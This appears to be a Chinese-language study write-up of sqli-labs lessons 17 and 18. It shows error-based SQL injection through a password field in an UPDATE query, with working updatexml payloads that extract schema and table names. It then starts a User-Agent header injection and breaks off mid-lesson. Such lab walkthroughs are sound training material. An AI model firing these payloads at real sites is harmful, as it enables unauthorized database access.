sqli-labs Less17-Less22

Lesson 17 POST-Update Query-Error Based - String (基于错误的更新查询POST注入)

（1）先进行登录测试

　　SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

　　显示的是这样的结果，成功更新了你的密码，密码重置

　　随便输入一个用户名进行登录，会出现错误

（2）将POST语句处的密码随便进行修改，并不会出现错误，因为用户名并没有改变

　　　　uname=admin&passwd=adm&submit=Submit

　　　　SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

　　但如果把用户名改错，就会出现错误

　　uname=admi&passwd=adm&submit=Submit

　　SELECT username, password FROM users WHERE username= 'admi' LIMIT 0,1

（3）此时sql语句中并不显示有关password的语句，需要在源代码中添加两个语句

　　将用户名输入正确，再次执行

　　uname=admin&passwd=adm&submit=Submit

　　SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

　　UPDATE users SET password = 'adm' WHERE username='admin'

　　执行成功

　　分析sql语句，先执行第一条语句，也就是username= 'admin' ，只有执行正确，才会执行接下来的语句。

　　uname=admin'#&passwd=adm&submit=Submit

　　SELECT username, password FROM users WHERE username= 'admin\'#' LIMIT 0,1

　　如果对用户名进行操作，它对单引号进行了转义，所以对uname进行了过滤处理，我们无法对其进行操作。所以所有用户名必须是正确的。所以进行操作，只能从passwd入手。

（4）从passwd进行入手

　　　　uname=admin&passwd=admin'#&submit=Submit

　　　　SELECT username, password FROM users WHERE username= 'admin' LIMIT 0,1

　　　　UPDATE users SET password = 'admin'#' WHERE username='admin'

　　这里并没有对passwd产生转义，这说明对用户名进行了过滤处理，但没有对password进行过滤处理，所以我们要对它进行一次注入。这里能进行的前提是必须知道正确的用户名。

（5）构造注入语句（报错注入）

　　查询到库名了

　　整体的构造大概是这个结构

　　其中的构造语句部分替换之前使用的查库，查表那些基础语言即可，把select改成and

（6）查库

　　uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

　　显示出第一个库名，通过报错的形式显示出信息

（7）查表

　　uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

　　查到security库里的第一个表

（8）剩下的进行替换即可，都可以查到

　　Lesson 17结束

Lesson 18 POST-Header injection - Uagent Field - Error Based (基于错误的用户代理，头部POST注入)

（1）先测试

　　uname=admin&passwd=admin&submit=Submit

　　SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

　　登陆后显示有自己的IP地址和成功登录，还包括User Agent信息

　　登陆错误试试看，把密码改错

　　uname=admin&passwd=admi1n&submit=Submit

　　还会显示IP地址，但是不再显示User Agent信息

（2）查看注入点，这一关username和password部分都不能进行注入，因为加上单引号并加上#进行注释，发现登录失败，并且注入部分会被转义，所以无法进行注入

　　uname=admin'#&passwd=admin&submit=Submit

　　SELECT users.username, users.password FROM users WHERE users.username='admin\'#' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

（3）这时我们要使用burp suite进行抓包操作，查看HTTP头部信息。因为根据对错的显示对比发现，User Agent部分有变化，所以它是可以进行注入的

　　这里看到Host信息和User Agent信息

　　这时我们需要看一下User Agent部分的代码，在源代码部分加上这两句话

　　这时再次登录会显示User Agent部分的代码

　　SELECT users.username, users.password FROM users WHERE users.username='admin' and users.password='admin' ORDER BY users.id DESC LIMIT 0,1

　　INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')

（4）这里要使用另外一个工具，虚拟机里的火狐浏览器暂时无法安装此插件，以下截图是视频教程的截图

　　INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.3.254', 'admin')

　　红字部分是要放浏览器信息的，然后对之后的信息进行闭合（使用单引号进行闭合），前面进行闭合，后面也要闭合